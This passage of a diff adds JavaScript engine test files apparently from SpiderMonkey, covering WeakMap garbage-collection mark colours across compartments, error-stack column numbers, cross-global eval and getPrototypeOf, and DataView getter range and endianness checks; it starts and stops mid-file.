+var value2 = global.eval("Object.create(null)");
+wm.set(wrapper2, value2);
+
+grayRoot().root1 = wrapper1;
+grayRoot().root2 = wrapper2;
+clearMarkObservers();
+addMarkObservers([wrapper1, value1, wrapper2, value2]);
+wrapper1 = wrapper2 = null;
+value1 = value2 = null;
+gc();
+marks = getMarks();
+assertEq(marks[0], 'gray', 'gray key 1');
+assertEq(marks[1], 'gray', 'black map, gray key => gray value');
+assertEq(marks[2], 'gray', 'gray key 2');
+assertEq(marks[3], 'gray', 'black map, gray key => gray value');
+
+// Blacken one of the keys
+wrapper1 = grayRoot().root1;
+gc();
+marks = getMarks();
+assertEq(marks[0], 'black', 'black key 1');
+assertEq(marks[1], 'black', 'black map, black key => black value');
+assertEq(marks[2], 'gray', 'gray key 2');
+assertEq(marks[3], 'gray', 'black map, gray key => gray value');
+
+// Test edges from map&delegate => key and map&key => value.
+//
+// In general, when a&b => x, then if both a and b are black, then x must be
+// black. If either is gray and the other is marked (gray or black), then x
+// must be gray (unless otherwise reachable from black.) If neither a nor b is
+// marked at all, then they will not keep x alive.
+
+clearMarkObservers();
+
+// Black map, gray delegate => gray key
+
+// wm is in a variable, so is black.
+wm = new WeakMap();
+
+let key = Object.create(null);
+// delegate unwraps key in the 'global' compartment
+global.grayRoot().delegate = key;
+
+// Create a value and map to it from a gray key, then make the value a gray
+// root.
+let value = Object.create(null);
+wm.set(key, value);
+grayRoot().value = value;
+
+// We are interested in the mark bits of the map, key, and value, as well as
+// the mark bits of the wrapped versions in the other compartment. Note that
+// the other-compartment key is the known as the key's delegate with respect to
+// the weakmap.
+global.addMarkObservers([wm, key, value]);
+addMarkObservers([wm, key, value]);
+
+// Key is otherwise dead in main compartment.
+key = null;
+// Don't want value to be marked black.
+value = null;
+
+gc(); // Update mark bits.
+let [
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'gray', 'delegate should be gray');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'black', 'map in var => black');
+assertEq(key_mark, 'gray', 'black map, gray delegate => gray key');
+assertEq(value_mark, 'gray', 'black map, gray delegate/key => gray value');
+
+// Black map, black delegate => black key
+
+// Blacken the delegate by pointing to it from the other global.
+global.delegate = global.grayRoot().delegate;
+
+gc();
+[
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'black', 'delegate held in global.delegate');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'black', 'map in var => black');
+assertEq(key_mark, 'black', 'black map, black delegate => black key');
+assertEq(value_mark, 'black', 'black map, black key => black value');
+
+// Gray map, black delegate => gray key. Unfortunately, there's no way to test
+// this, because a WeakMap key's delegate is its wrapper, and there is a strong
+// edge from wrappers to wrappees. The jsapi-test in testGCGrayMarking, inside
+// TestWeakMaps, *does* test this case.
+
+grayRoot().map = wm;
+wm = null;
+
+gc();
+[
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'black', 'delegate held in global.delegate');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'gray', 'map is a gray root');
+assertEq(key_mark, 'black', 'black delegate marks its key black');
+assertEq(value_mark, 'gray', 'gray map, black key => gray value');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/column-numbers.js b/js/src/tests/non262/extensions/column-numbers.js
new file mode 100644
index 0000000000..721b05e9f2
--- /dev/null
+++ b/js/src/tests/non262/extensions/column-numbers.js
@@ -0,0 +1,10 @@
+actual = 'No Error';
+expected = /column-numbers\.js:4:11/;
+try {
+ throw new Error("test");
+}
+catch(ex) {
+ actual = ex.stack;
+ print('Caught exception ' + ex.stack);
+}
+reportMatch(expected, actual, 'column number present');
diff --git a/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js b/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js
new file mode 100644
index 0000000000..6cd35846b5
--- /dev/null
+++ b/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 608473;
+var summary =
+ '|var eval = otherWindow.eval; eval(...)| should behave like indirectly ' +
+ 'calling that eval from a script in that other window';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+var res;
+
+function f()
+{
+ return [this, eval("this")];
+}
+
+var otherGlobalSameCompartment = newGlobal("same-compartment");
+
+eval = otherGlobalSameCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalSameCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalSameCompartment);
+
+var otherGlobalDifferentCompartment = newGlobal();
+
+eval = otherGlobalDifferentCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js b/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js
new file mode 100644
index 0000000000..1480a8ea15
--- /dev/null
+++ b/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 770344;
+var summary = "Object.getPrototypeOf behavior across compartments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var other = newGlobal();
+
+var getProto = Object.getPrototypeOf;
+var otherGetProto = other.Object.getPrototypeOf;
+
+var proto = {};
+var obj = Object.create(proto);
+assertEq(getProto(obj), proto);
+assertEq(otherGetProto(obj), proto);
+
+other.proto = proto;
+var otherObj = other.evaluate("Object.create(proto)");
+assertEq(getProto(otherObj), proto);
+assertEq(otherGetProto(otherObj), proto);
+
+var p = other.evaluate("({})");
+var objOtherProto = Object.create(p);
+assertEq(getProto(objOtherProto), p);
+assertEq(otherGetProto(objOtherProto), p);
+
+other.evaluate("var otherProto = { otherProto: 1 }; " +
+ "var otherObj = Object.create(otherProto);");
+assertEq(getProto(other.otherObj), other.otherProto);
+assertEq(otherGetProto(other.otherObj), other.otherProto);
+
+other.evaluate("var newOtherProto = { newOtherProto: 1 }; " +
+ "otherObj.__proto__ = newOtherProto;");
+assertEq(otherGetProto(other.otherObj), other.newOtherProto);
+
+// TODO This assertion fails due to bug 764307
+//assertEq(getProto(other.otherObj), other.newOtherProto);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/dataview.js b/js/src/tests/non262/extensions/dataview.js
new file mode 100644
index 0000000000..b6514df26a
--- /dev/null
+++ b/js/src/tests/non262/extensions/dataview.js
@@ -0,0 +1,1647 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Tobias Schneider <schneider@jancona.com>
+ */
+
+//------------------------------------------------------------------------------
+var BUGNUMBER = 575688;
+var summary = 'DataView tests';
+
+function test(sharedMem) {
+ function die(message, uplevel) {
+ var e = new Error(message);
+ var frame = e.stack.split("\n")[uplevel];
+ print(message + " at " + frame.split("@")[1]);
+ print("Stack:\n" + e.stack);
+ throw(e);
+ }
+
+ function checkThrow(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ die('no exception thrown, expected ' + type.name, 2);
+ } else if (!(thrown instanceof type)) {
+ die('expected ' + type.name + ', got ' + thrown, 2);
+ }
+ }
+
+ function checkThrowTODO(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ print('(TODO) no exception thrown, expected ' + type.name);
+ } else if (!(thrown instanceof type)) {
+ print('(TODO) expected ' + type.name + ', got ' + thrown);
+ } else {
+ print('test unexpectedly passed: expected ' + type.name + ' exception');
+ }
+ }
+
+ function bufferize(u8array) {
+ if (!sharedMem)
+ return u8array.buffer;
+
+ let v = new Uint8Array(new SharedArrayBuffer(u8array.buffer.byteLength));
+ v.set(u8array);
+
+ // Sanity checking
+ assertEq(v.buffer instanceof SharedArrayBuffer, true);
+ assertEq(v.buffer.byteLength, u8array.buffer.byteLength);
+ assertEq(u8array[0], v[0]);
+
+ return v.buffer;
+ }
+
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ // testConstructor
+ buffer = bufferize(new Uint8Array([1, 2]));
+ checkThrow(() => new DataView(buffer, 0, 3), RangeError);
+ checkThrow(() => new DataView(buffer, 1, 2), RangeError);
+ checkThrow(() => new DataView(buffer, 2, 1), RangeError);
+ checkThrow(() => new DataView(buffer, 2147483649, 0), RangeError);
+ checkThrow(() => new DataView(buffer, 0, 2147483649), RangeError);
+ checkThrow(() => new DataView(), TypeError);
+ checkThrow(() => new DataView(Object.create(new ArrayBuffer(5))), TypeError);
+
+ // testGetMethods
+
+ // testIntegerGets(start=0, length=16)
+ var data1 = [0,1,2,3,0x64,0x65,0x66,0x67,0x80,0x81,0x82,0x83,252,253,254,255];
+ var data1_r = data1.slice().reverse();
+ var buffer1 = bufferize(new Uint8Array(data1));
+ var view1 = new DataView(buffer1, 0, 16);
+ view = view1;
+ assertEq(view.getInt8(0), 0);
+ assertEq(view.getInt8(8), -128);
+ assertEq(view.getInt8(15), -1);
+ assertEq(view.getUint8(0), 0);
+ assertEq(view.getUint8(8), 128);
+ assertEq(view.getUint8(15), 255);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ assertEq(view.getInt16(5, true), 0x6665);
+ assertEq(view.getInt16(9, true), -32127);
+ assertEq(view.getInt16(14, true), -2);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ assertEq(view.getInt16(5), 0x6566);
+ assertEq(view.getInt16(9), -32382);
+ assertEq(view.getInt16(14), -257);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ assertEq(view.getUint16(5, true), 0x6665);
+ assertEq(view.getUint16(9, true), 0x8281);
+ assertEq(view.getUint16(14, true), 0xfffe);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ assertEq(view.getUint16(5), 0x6566);
+ assertEq(view.getUint16(9), 0x8182);
+ assertEq(view.getUint16(14), 0xfeff);
+ // Little endian.
+ assertEq(view.getInt32(0, true), 0x3020100);
+ assertEq(view.getInt32(3, true), 0x66656403);
+ assertEq(view.getInt32(6, true), -2122291354);
+ assertEq(view.getInt32(9, true), -58490239);
+ assertEq(view.getInt32(12, true), -66052);
+ // Big endian.
+ assertEq(view.getInt32(0), 0x10203);
+ assertEq(view.getInt32(3), 0x3646566);
+ assertEq(view.getInt32(6), 0x66678081);
+ assertEq(view.getInt32(9), -2122152964);
+ assertEq(view.getInt32(12), -50462977);
+ // Little endian.
+ assertEq(view.getUint32(0, true), 0x3020100);
+ assertEq(view.getUint32(3, true), 0x66656403);
+ assertEq(view.getUint32(6, true), 0x81806766);
+ assertEq(view.getUint32(9, true), 0xfc838281);
+ assertEq(view.getUint32(12, true), 0xfffefdfc);
+ // Big endian.
+ assertEq(view.getUint32(0), 0x10203);
+ assertEq(view.getUint32(3), 0x3646566);
+ assertEq(view.getUint32(6), 0x66678081);
+ assertEq(view.getUint32(9), 0x818283fc);
+ assertEq(view.getUint32(12), 0xfcfdfeff);
+
+ // testFloatGets(start=0)
+
+ // testFloatGet expected=10
+ // Little endian
+ var data2 = [0,0,32,65];
+ var data2_r = data2.slice().reverse();
+ var buffer2 = bufferize(new Uint8Array(data2));
+ view = new DataView(buffer2, 0, 4);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer2_pad3 = bufferize(new Uint8Array(Array(3).concat(data2)));
+ view = new DataView(buffer2_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer2_pad7 = bufferize(new Uint8Array(Array(7).concat(data2)));
+ view = new DataView(buffer2_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer2_pad10 = bufferize(new Uint8Array(Array(10).concat(data2)));
+ view = new DataView(buffer2_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer2_r = bufferize(new Uint8Array(data2_r));
+ view = new DataView(buffer2_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer2_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data2_r)));
+ view = new DataView(buffer2_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer2_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data2_r)));
+ view = new DataView(buffer2_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer2_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data2_r)));
+ view = new DataView(buffer2_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ var data3 = [164,112,157,63];
+ var data3_r = data3.slice().reverse();
+ var buffer3 = bufferize(new Uint8Array(data3));
+ view = new DataView(buffer3, 0, 4);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ var buffer3_pad3 = bufferize(new Uint8Array(Array(3).concat(data3)));
+ view = new DataView(buffer3_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ var buffer3_pad7 = bufferize(new Uint8Array(Array(7).concat(data3)));
+ view = new DataView(buffer3_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ var buffer3_pad10 = bufferize(new Uint8Array(Array(10).concat(data3)));
+ view = new DataView(buffer3_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ var buffer3_r = bufferize(new Uint8Array(data3_r));
+ view = new DataView(buffer3_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ var buffer3_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data3_r)));
+ view = new DataView(buffer3_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ var buffer3_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data3_r)));
+ view = new DataView(buffer3_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ var buffer3_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data3_r)));
+ view = new DataView(buffer3_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ var data4 = [95,53,50,199];
+ var data4_r = data4.slice().reverse();
+ var buffer4 = bufferize(new Uint8Array(data4));
+ view = new DataView(buffer4, 0, 4);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ var buffer4_pad3 = bufferize(new Uint8Array(Array(3).concat(data4)));
+ view = new DataView(buffer4_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ var buffer4_pad7 = bufferize(new Uint8Array(Array(7).concat(data4)));
+ view = new DataView(buffer4_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ var buffer4_pad10 = bufferize(new Uint8Array(Array(10).concat(data4)));
+ view = new DataView(buffer4_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ var buffer4_r = bufferize(new Uint8Array(data4_r));
+ view = new DataView(buffer4_r, 0, 4);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ var buffer4_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data4_r)));
+ view = new DataView(buffer4_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ var buffer4_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data4_r)));
+ view = new DataView(buffer4_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ var buffer4_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data4_r)));
+ view = new DataView(buffer4_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data5 = [255,255,255,127];
+ var data5_r = data5.slice().reverse();
+ var buffer5 = bufferize(new Uint8Array(data5));
+ view = new DataView(buffer5, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer5_pad3 = bufferize(new Uint8Array(Array(3).concat(data5)));
+ view = new DataView(buffer5_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer5_pad7 = bufferize(new Uint8Array(Array(7).concat(data5)));
+ view = new DataView(buffer5_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer5_pad10 = bufferize(new Uint8Array(Array(10).concat(data5)));
+ view = new DataView(buffer5_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer5_r = bufferize(new Uint8Array(data5_r));
+ view = new DataView(buffer5_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer5_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data5_r)));
+ view = new DataView(buffer5_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer5_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data5_r)));
+ view = new DataView(buffer5_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer5_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data5_r)));
+ view = new DataView(buffer5_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data6 = [255,255,255,255];
+ var data6_r = data6.slice().reverse();
+ var buffer6 = bufferize(new Uint8Array(data6));
+ view = new DataView(buffer6, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer6_pad3 = bufferize(new Uint8Array(Array(3).concat(data6)));
+ view = new DataView(buffer6_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer6_pad7 = bufferize(new Uint8Array(Array(7).concat(data6)));
+ view = new DataView(buffer6_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer6_pad10 = bufferize(new Uint8Array(Array(10).concat(data6)));
+ view = new DataView(buffer6_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer6_r = bufferize(new Uint8Array(data6_r));
+ view = new DataView(buffer6_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer6_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data6_r)));
+ view = new DataView(buffer6_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer6_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data6_r)));
+ view = new DataView(buffer6_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer6_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data6_r)));
+ view = new DataView(buffer6_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=10
+ // Little endian
+ var data7 = [0,0,0,0,0,0,36,64];
+ var data7_r = data7.slice().reverse();
+ var buffer7 = bufferize(new Uint8Array(data7));
+ view = new DataView(buffer7, 0, 8);
+ assertEq(view.getFloat64(0, true), 10);
+ var buffer7_pad3 = bufferize(new Uint8Array(Array(3).concat(data7)));
+ view = new DataView(buffer7_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 10);
+ var buffer7_pad7 = bufferize(new Uint8Array(Array(7).concat(data7)));
+ view = new DataView(buffer7_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 10);
+ var buffer7_pad10 = bufferize(new Uint8Array(Array(10).concat(data7)));
+ view = new DataView(buffer7_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ var buffer7_r = bufferize(new Uint8Array(data7_r));
+ view = new DataView(buffer7_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 10);
+ var buffer7_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data7_r)));
+ view = new DataView(buffer7_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 10);
+ var buffer7_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data7_r)));
+ view = new DataView(buffer7_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 10);
+ var buffer7_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data7_r)));
+ view = new DataView(buffer7_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ var data8 = [174,71,225,122,20,174,243,63];
+ var data8_r = data8.slice().reverse();
+ var buffer8 = bufferize(new Uint8Array(data8));
+ view = new DataView(buffer8, 0, 8);
+ assertEq(view.getFloat64(0, true), 1.23);
+ var buffer8_pad3 = bufferize(new Uint8Array(Array(3).concat(data8)));
+ view = new DataView(buffer8_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 1.23);
+ var buffer8_pad7 = bufferize(new Uint8Array(Array(7).concat(data8)));
+ view = new DataView(buffer8_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 1.23);
+ var buffer8_pad10 = bufferize(new Uint8Array(Array(10).concat(data8)));
+ view = new DataView(buffer8_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ var buffer8_r = bufferize(new Uint8Array(data8_r));
+ view = new DataView(buffer8_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 1.23);
+ var buffer8_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data8_r)));
+ view = new DataView(buffer8_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 1.23);
+ var buffer8_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data8_r)));
+ view = new DataView(buffer8_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 1.23);
+ var buffer8_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data8_r)));
+ view = new DataView(buffer8_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ var data9 = [181,55,248,30,242,179,87,193];
+ var data9_r = data9.slice().reverse();
+ var buffer9 = bufferize(new Uint8Array(data9));
+ view = new DataView(buffer9, 0, 8);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ var buffer9_pad3 = bufferize(new Uint8Array(Array(3).concat(data9)));
+ view = new DataView(buffer9_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ var buffer9_pad7 = bufferize(new Uint8Array(Array(7).concat(data9)));
+ view = new DataView(buffer9_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ var buffer9_pad10 = bufferize(new Uint8Array(Array(10).concat(data9)));
+ view = new DataView(buffer9_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ var buffer9_r = bufferize(new Uint8Array(data9_r));
+ view = new DataView(buffer9_r, 0, 8);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ var buffer9_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data9_r)));
+ view = new DataView(buffer9_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ var buffer9_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data9_r)));
+ view = new DataView(buffer9_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ var buffer9_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data9_r)));
+ view = new DataView(buffer9_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data10 = [255,255,255,255,255,255,255,127];
+ var data10_r = data10.slice().reverse();
+ var buffer10 = bufferize(new Uint8Array(data10));
+ view = new DataView(buffer10, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer10_pad3 = bufferize(new Uint8Array(Array(3).concat(data10)));
+ view = new DataView(buffer10_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer10_pad7 = bufferize(new Uint8Array(Array(7).concat(data10)));
+ view = new DataView(buffer10_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer10_pad10 = bufferize(new Uint8Array(Array(10).concat(data10)));
+ view = new DataView(buffer10_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer10_r = bufferize(new Uint8Array(data10_r));
+ view = new DataView(buffer10_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer10_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data10_r)));
+ view = new DataView(buffer10_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer10_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data10_r)));
+ view = new DataView(buffer10_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer10_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data10_r)));
+ view = new DataView(buffer10_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data11 = [255,255,255,255,255,255,255,255];
+ var data11_r = data11.slice().reverse();
+ var buffer11 = bufferize(new Uint8Array(data11));
+ view = new DataView(buffer11, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer11_pad3 = bufferize(new Uint8Array(Array(3).concat(data11)));
+ view = new DataView(buffer11_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer11_pad7 = bufferize(new Uint8Array(Array(7).concat(data11)));
+ view = new DataView(buffer11_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer11_pad10 = bufferize(new Uint8Array(Array(10).concat(data11)));
+ view = new DataView(buffer11_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer11_r = bufferize(new Uint8Array(data11_r));
+ view = new DataView(buffer11_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer11_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data11_r)));
+ view = new DataView(buffer11_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer11_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data11_r)));
+ view = new DataView(buffer11_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer11_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data11_r)));
+ view = new DataView(buffer11_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testIntegerGets(start=3, length=2)
+ var data12 = [31,32,33,0,1,2,3,100,101,102,103,128,129,130,131,252,253,254,255];
+ var data12_r = data12.slice().reverse();
+ var buffer12 = bufferize(new Uint8Array(data12));
+ view = new DataView(buffer12, 3, 2);
+ assertEq(view.getInt8(0), 0);
+ checkThrow(() => view.getInt8(8), RangeError);
+ checkThrow(() => view.getInt8(15), RangeError);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.getUint8(8), RangeError);
+ checkThrow(() => view.getUint8(15), RangeError);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.getInt16(5, true), RangeError);
+ checkThrow(() => view.getInt16(9, true), RangeError);
+ checkThrow(() => view.getInt16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.getInt16(5), RangeError);
+ checkThrow(() => view.getInt16(9), RangeError);
+ checkThrow(() => view.getInt16(14), RangeError);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.getUint16(5, true), RangeError);
+ checkThrow(() => view.getUint16(9, true), RangeError);
+ checkThrow(() => view.getUint16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.getUint16(5), RangeError);
+ checkThrow(() => view.getUint16(9), RangeError);
+ checkThrow(() => view.getUint16(14), RangeError);
+ // Little endian.
+ checkThrow(() => view.getInt32(0, true), RangeError);
+ checkThrow(() => view.getInt32(3, true), RangeError);
+ checkThrow(() => view.getInt32(6, true), RangeError);
+ checkThrow(() => view.getInt32(9, true), RangeError);
